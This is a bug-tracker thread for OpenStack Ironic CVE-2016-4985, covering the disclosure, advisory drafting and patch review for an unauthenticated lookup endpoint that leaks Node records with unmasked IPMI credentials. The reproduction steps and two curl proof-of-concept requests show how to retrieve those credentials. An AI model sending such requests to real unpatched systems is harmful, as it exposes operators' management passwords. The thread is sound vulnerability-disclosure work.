Node information including credentials exposed to unathenticated users (CVE-2016-4985)

Bug #1572796 reported by aeva black
262
This bug affects 1 person
Affects Status Importance Assigned to Milestone
Ironic
Fix Released
High
aeva black

Bug Description

Environment:

- servers are Ubuntu Trusty 14.04.4 LTS
- ironic is deployed as part of an OpenStack cloud, configured to use keystone auth
- ironic is running current master (early Newton) + Neutron integration patches (should be completely unrelated)
- agent_ipmitool driver is enabled

Steps to reproduce:

- enable any of the "agent" class of drivers. For the examples below, let's assume that "agent_ipmitool" is enabled, but this works if any driver that includes the AgentVendorPassthru interface is loaded, even if the Node is not configured to use that driver.
- register a Node in Ironic with any driver
- register a Port in Ironic and associate it to that Node
- send an *unauthenticated* POST request to ${IRONIC_URL}/v1/drivers/agent_ipmitool/vendor_passthru/lookup with the following request body: '{"version": "2", "inventory": { "interfaces": [ { "name": "", "mac_address": "aa:bb:cc:dd:ee:ff" } ] } }'

Result:
- receive the complete Node record (an unauthenticated user should not be able to do that)
- bypass ironic API policy enforcement and retrieve the un-masked management credentials for the Node
- also receive the "heartbeat_timeout" value

Expected result:
- receive only the node UUID and heartbeat_timeout, because this should be all that the IPA ramdisk requires to continue operating

Example curl command:

curl -X POST -H 'X-OpenStack-Ironic-API-Version: 1.16' -H 'Content-Type: application/json' -H 'Accept: application/json' \
  -d '{"version": "2", "inventory": { "interfaces": [ { "name": "", "mac_address": "aa:bb:cc:dd:ee:ff" } ] } }' \
  https://some.url:6385/v1/drivers/agent_ipmitool/vendor_passthru/lookup | json_pp

Example result:

{
   "heartbeat_timeout" : 300,
   "node" : {
      "target_provision_state" : null,
      "raid_config" : {},
      "instance_info" : {},
      "id" : 2,
      "network_interface" : "flat",
      "reservation" : null,
      "instance_uuid" : null,
      "properties" : {
         "cpu_arch" : "x86_64",
         "memory_mb" : 65536,
         "cpus" : 8,
         "local_gb" : 1116
      },
      "target_power_state" : null,
      "updated_at" : "2016-04-21T00:49:23.000000",
      "created_at" : "2016-04-04T21:34:02.000000",
      "driver" : "agent_ipmitool",
      "target_raid_config" : {},
      "name" : "my-test-system",
      "inspection_started_at" : null,
      "driver_info" : {
         "ipmi_address" : "ACTUAL IPMI IP ADDRESS",
         "deploy_ramdisk" : "88fc9937-d37a-4479-a098-2fd71fab6abc",
         "ipmi_password" : "ACTUAL IPMI ADMIN PASSWORD",
         "deploy_kernel" : "abbe34d6-5963-460f-b76a-48b07ee722cb",
         "ipmi_username" : "ACTUAL IPMI ADMIN USERNAME"
      },
      "uuid" : "64d46f02-6156-4804-acae-a8caec97c663",
      "conductor_affinity" : null,
      "provision_state" : "available",
      "maintenance" : false,
      "extra" : {},
      "inspection_finished_at" : null,
      "driver_internal_info" : {},
      "chassis_id" : null,
      "power_state" : "power off",
      "console_enabled" : false,
      "maintenance_reason" : null,
      "clean_step" : {},
      "provision_updated_at" : null,
      "last_error" : null
   }
}

CVE References

aeva black (tenbrae)
Changed in ironic:
status: New → Confirmed
importance: Undecided → High
assignee: nobody → Devananda van der Veen (devananda)
Revision history for this message
aeva black (tenbrae) wrote :

DRAFT
-----

Title: Ironic Node information including credentials exposed to unauthenticated users
Reporter: Devananda van der Veen
Products: OpenStack Ironic
Affects: >=2014.2, >=4.0.0 <=5.1.1

Description:

Devananda van der Veen reported the following vulnerability in Ironic.

Anyone with network access to the ironic-api service can bypass Keystone authentication and retrieve all information about any Node registered with Ironic, if they know (or are able to guess) the MAC address of a network card belonging to that Node. The HTTP response will include the full Node details, including management passwords, even when /etc/ironic/policy.json is configured to hide passwords in API responses.

This can be done by sending a request such as the following:

curl -X POST -H "Content-Type: application/json" -d \
'{ "version": "2", "inventory": { "interfaces": [ { "mac_address": "$ADDRESS" } ] } }' \
http://$HOST:6385/v1/drivers/$DRIVER/vendor_passthru/lookup

This affects all instances of Ironic where the "enabled_drivers" setting includes any of the "agent" family of drivers (eg, agent_ssh, agent_ipmitool, agent_ilo). In such an environment, all Nodes may be exposed, even Nodes that are configured with another driver, including even if no Nodes are configured to use any of the agent_* drivers.

This vulnerability has been verified in all currently supported branches (liberty, mitaka, master) and traced back to code introduced in commit 3e568fbbbcc5748035c1448a0bdb26306470797c during the Juno development cycle. Therefore, it is likely that both juno and kilo braches (and their releases) are also affected.

Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Well, since all drivers now use IPA, this probably affects any drivers, right? (other than... fake? maybe?)

Let's update the draft to reflect that.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

The master patch LGTM but needs unit tests.

For whatever reason, the mitaka patch doesn't apply for me.

stack@jroll-test:~/ironic$ git apply fix-1572796-mitaka.patch
fatal: corrupt patch at line 35
stack@jroll-test:~/ironic$ git status
HEAD detached at origin/stable/mitaka
Untracked files:
  (use "git add <file>..." to include in what will be committed)

 fix-1572796-master.patch
 fix-1572796-mitaka.patch

nothing added to commit but untracked files present (use "git add" to track)

I fetched it with wget, same as the master patch, so not sure what's going on here :/

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Forgot to mention, I also tested the master patch, works as expected.

I also tested with enabled_drivers=pxe_ssh, just to confirm my theory, and the bug is still present.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Also, pep8 and unit tests pass on the master patch, even without updating unit tests.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

This is the master patch with updated unit tests, passing pep8 and py27

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

When I backport my patch to mitaka, it fails unit tests. Trying to investigate but having trouble finding the problem :/

==============================
Failed 2 tests - output below:
==============================

ironic.tests.unit.drivers.modules.test_agent_base_vendor.TestRefreshCleanSteps.test_lookup_v2_with_node_uuid
------------------------------------------------------------------------------------------------------------

Captured traceback:
~~~~~~~~~~~~~~~~~~~
    Traceback (most recent call last):
      File "/opt/stack/ironic/.tox/py27/local/lib/python2.7/site-packages/mock/mock.py", line 1305, in patched
        return func(*args, **keywargs)
      File "ironic/tests/unit/drivers/modules/test_agent_base_vendor.py", line 170, in test_lookup_v2_with_node_uuid
        node = self.passthru.lookup(task.context, **kwargs)
      File "ironic/drivers/base.py", line 668, in passthru_handler
        raise exception.VendorPassthruException(message=e)
    ironic.common.exception.VendorPassthruException: 'RequestContext' object has no attribute 'show_password'

ironic.tests.unit.drivers.modules.test_agent_base_vendor.TestBaseAgentVendor.test_lookup_v2_with_node_uuid
----------------------------------------------------------------------------------------------------------

Captured traceback:
~~~~~~~~~~~~~~~~~~~
    Traceback (most recent call last):
      File "/opt/stack/ironic/.tox/py27/local/lib/python2.7/site-packages/mock/mock.py", line 1305, in patched
        return func(*args, **keywargs)
      File "ironic/tests/unit/drivers/modules/test_agent_base_vendor.py", line 170, in test_lookup_v2_with_node_uuid
        node = self.passthru.lookup(task.context, **kwargs)
      File "ironic/drivers/base.py", line 668, in passthru_handler
        raise exception.VendorPassthruException(message=e)
    ironic.common.exception.VendorPassthruException: 'RequestContext' object has no attribute 'show_password'

======
Totals
======
Ran: 3159 tests in 10.0000 sec.
 - Passed: 3142
 - Skipped: 15
 - Expected Fail: 0
 - Unexpected Success: 0
 - Failed: 2
Sum of execute time for each test: 73.4110 sec.

Revision history for this message
aeva black (tenbrae) wrote :

@jroll,

I also encounter the unit test failure you hit. I have fixed it on mitaka, and tested the fix against master (works) and liberty (works, but was missing an import, which I have added).

I'm going to upload all three patch files as they're slightly different on the different branches.

Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
Dmitry Tantsur (divius) wrote :

Patches LGTM, though to be honest I would just remove the whole driver_info from the representation. We do not and should not use it in IPA.

Revision history for this message
aeva black (tenbrae) wrote :

Dmitry, while I agree that IPA shouldn't be using that info, I don't know what folks might be doing with downstream HardwareManagers in IPA. As this is part of the API we're currently providing, and this patch needs to be backported to stable branches, my view in developing these patches was to make the least possible change (just mask the password).

There's still a risk that someone, somewhere, has used the IPMI password in the agent, and this change will break them -- and I'm willing to accept that risk in order to close this hole.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

These patches apply cleanly with 'git apply foo', and pass 'tox -re pep8,py27' just fine. They need to be rebuilt with 'git format-patch', though, so 'git am' can be used to apply the patches and retain the commit message, etc.

+1 from me if rebuilt.

Dmitry, I think for an embargoed security bug we should change as little as possible, and talk about dropping driver_info entirely later on with the rest of the community.

Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :
Revision history for this message
aeva black (tenbrae) wrote :

Sorry about that. Patches have been rebuilt with 'git format-patch -1'

Revision history for this message
Jeremy Stanley (fungi) wrote :

Looking at the affected versions in comment #1, assuming the stable/liberty backport will appear in a 4.2.5 point release and the stable/mitaka backport in a 5.1.2 point release (and noting that 4.3.0 is in the stable/mitaka series) I think this becomes:

  Affects: >=2014.2, >=4.0.0 <=4.2.4, >=4.3.0 <=5.1.1

Also, the impact description goes into deeper technical detail than the VMT usually would. Rule of thumb is that an impact description should contain enough detail for a user/deployer to determine whether their configuration is affected such that they should upgrade, and to be able to sufficiently disambiguate the current reported vulnerability from future similar vulnerabilities.

Revision history for this message
aeva black (tenbrae) wrote :

Thanks for the feedback, fungi. New draft follows:

------------------

Title: Ironic Node information including credentials exposed to unauthenticated users
Reporter: Devananda van der Veen
Products: OpenStack Ironic
Affects: >=2014.2, >=4.0.0 <=4.2.4, >=4.3.0 <=5.1.1

Description:

Devananda van der Veen (IBM) reported the following vulnerability in Ironic.

A client with network access to the ironic-api service can bypass Keystone authentication and retrieve all information about any Node registered with Ironic, if they know (or are able to guess) the MAC address of a network card belonging to that Node, by sending a crafted POST request to the /v1/drivers/$DRIVER_NAME/vendor_passthru resource.

The response will include the full Node details, including management passwords, even when /etc/ironic/policy.json is configured to hide passwords in API responses.

This vulnerability has been verified in all currently supported branches (liberty, mitaka, master) and traced back to code introduced in commit 3e568fbbbcc5748035c1448a0bdb26306470797c during the Juno development cycle. Therefore, it is likely that both juno and kilo braches (and their releases) are also affected.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Devananda's updated impact description in comment #22 looks good to me.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Impact description looks good to me, as well.

Testing patches now, but I think we're ready to go ahead with this.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Patches apply and pass tests for me, +1

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

I assume we should pull in dhellmann when we set a date, so that we can coordinate the releases as well?

Revision history for this message
Jeremy Stanley (fungi) wrote :

We don't usually bother looping release management into the disclosure process. As long as there are sufficient core reviewers involved to be able to preapprove and fast-track fixes into the gate at the time of disclosure, the advisory can just reference change URLs. Having a new release ready soon after disclosure would still be good, but the advisory publication timeline doesn't need to depend on it.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Oh, though that said, we do already include a couple of stable branch managers in the pre-disclosure list so they can be aware priority backports are on the way.

Revision history for this message
Dmitry Tantsur (divius) wrote :

All 3 of us here are stable cores, so it should not be a problem.

What worries me that the patch in question does not cover ssh_key_contents (or does it?). I know that the ssh drivers are not to be used in production, but they are.

Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

This patch does what we do for the regular node API, so I think I'm okay with it... that said, mask_password would not cover ssh_key_contents (I really wish that wasn't a thing): https://github.com/openstack/oslo.utils/blob/master/oslo_utils/strutils.py#L55

I fail to see how the SSH driver could be used in production - it provides no method of controlling an actual bare metal machine.... are people running ironic to provision VMs or?

Revision history for this message
Dmitry Tantsur (divius) wrote :

Yes, people run Ironic to provision VMs, don't ask why please :)

I'm fine with leaving the patches as they are, just making sure people are aware of the SSH issue.

aeva black (tenbrae)
summary: - Complete node information available to unathenticated users, if they
- know MAC address of Node
+ Node information including credentials exposed to unathenticated users
+ (CVE-2016-4985)
aeva black (tenbrae)
Changed in ironic:
status: Confirmed → In Progress
aeva black (tenbrae)
Changed in ironic:
status: In Progress → Fix Committed
Revision history for this message
Jim Rollenhagen (jim-rollenhagen) wrote :

Just to be sure everyone here is in the loop: pre-disclosure is out, this goes public Tuesday June 21 at 1500 UTC.

Deva will submit patches, Dmitry and I will approve them, I'll submit release requests when they are done.

Hopefully won't be too disruptive to the midcycle. :)

Revision history for this message
Dmitry Tantsur (divius) wrote :

Got it, thanks for update. We need to make sure our gate feels well at that time on all branches..

aeva black (tenbrae)
information type: Private Security → Public Security
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ironic (master)

Fix proposed to branch: master
Review: https://review.openstack.org/332195

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ironic (stable/mitaka)

Fix proposed to branch: stable/mitaka
Review: https://review.openstack.org/332196

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ironic (stable/liberty)

Fix proposed to branch: stable/liberty
Review: https://review.openstack.org/332197

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to ironic (stable/mitaka)

Reviewed: https://review.openstack.org/332196
Committed: https://git.openstack.org/cgit/openstack/ironic/commit/?id=affec224977174581d19a2b914772cb0409f633e
Submitter: Jenkins
Branch: stable/mitaka

commit affec224977174581d19a2b914772cb0409f633e
Author: Devananda van der Veen <email address hidden>
Date: Fri Jun 10 17:24:53 2016 -0700

    Mask password on agent lookup according to policy

    We currently mask passwords in driver_info for all API responses,
    except for agent lookups. This is because driver_vendor_passthru
    just expects a dict to return as JSON in the response, and doesn't
    modify it at all.

    Change lookup to follow the defined policy when returning the node
    object in the response, the same way we do for other API responses.

    Co-authored-by: Jim Rollenhagen <email address hidden>

    Change-Id: Ib19d2f86d3527333e905fdbf1f09fc3dc8b8c5a7
    Closes-Bug: #1572796
    (cherry picked from commit 426a306fb580762e97ada04e1253dedd9b64d410)

tags: added: in-stable-mitaka
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to ironic (master)

Reviewed: https://review.openstack.org/332195
Committed: https://git.openstack.org/cgit/openstack/ironic/commit/?id=426a306fb580762e97ada04e1253dedd9b64d410
Submitter: Jenkins
Branch: master

commit 426a306fb580762e97ada04e1253dedd9b64d410
Author: Devananda van der Veen <email address hidden>
Date: Fri Jun 10 17:24:53 2016 -0700

    Mask password on agent lookup according to policy

    We currently mask passwords in driver_info for all API responses,
    except for agent lookups. This is because driver_vendor_passthru
    just expects a dict to return as JSON in the response, and doesn't
    modify it at all.

    Change lookup to follow the defined policy when returning the node
    object in the response, the same way we do for other API responses.

    Co-authored-by: Jim Rollenhagen <email address hidden>

    Change-Id: Ib19d2f86d3527333e905fdbf1f09fc3dc8b8c5a7
    Closes-Bug: #1572796

Changed in ironic:
status: Fix Committed → Fix Released
Revision history for this message
Doug Hellmann (doug-hellmann) wrote : Fix included in openstack/ironic 5.1.2

This issue was fixed in the openstack/ironic 5.1.2 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to ironic (stable/liberty)

Reviewed: https://review.openstack.org/332197
Committed: https://git.openstack.org/cgit/openstack/ironic/commit/?id=f5a3ff1dfcde068769f9a2a477ba6a9edaf69c77
Submitter: Jenkins
Branch: stable/liberty

commit f5a3ff1dfcde068769f9a2a477ba6a9edaf69c77
Author: Devananda van der Veen <email address hidden>
Date: Fri Jun 10 17:24:53 2016 -0700

    Mask password on agent lookup according to policy

    We currently mask passwords in driver_info for all API responses,
    except for agent lookups. This is because driver_vendor_passthru
    just expects a dict to return as JSON in the response, and doesn't
    modify it at all.

    Change lookup to follow the defined policy when returning the node
    object in the response, the same way we do for other API responses.

    Co-authored-by: Jim Rollenhagen <email address hidden>

    Change-Id: Ib19d2f86d3527333e905fdbf1f09fc3dc8b8c5a7
    Closes-Bug: #1572796
    (cherry picked from commit 426a306fb580762e97ada04e1253dedd9b64d410)

tags: added: in-stable-liberty
Revision history for this message
Doug Hellmann (doug-hellmann) wrote : Fix included in openstack/ironic 4.2.5

This issue was fixed in the openstack/ironic 4.2.5 release.

Revision history for this message
Thierry Carrez (ttx) wrote : Fix included in openstack/ironic 6.0.0

This issue was fixed in the openstack/ironic 6.0.0 release.

Revision history for this message
Raviv (rbartal) wrote :

fix was tested on Kilo and Liberty, and the ipmi_password is showing only "*******'

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/ironic 4.2.5

This issue was fixed in the openstack/ironic 4.2.5 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/ironic 5.1.2

This issue was fixed in the openstack/ironic 5.1.2 release.

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.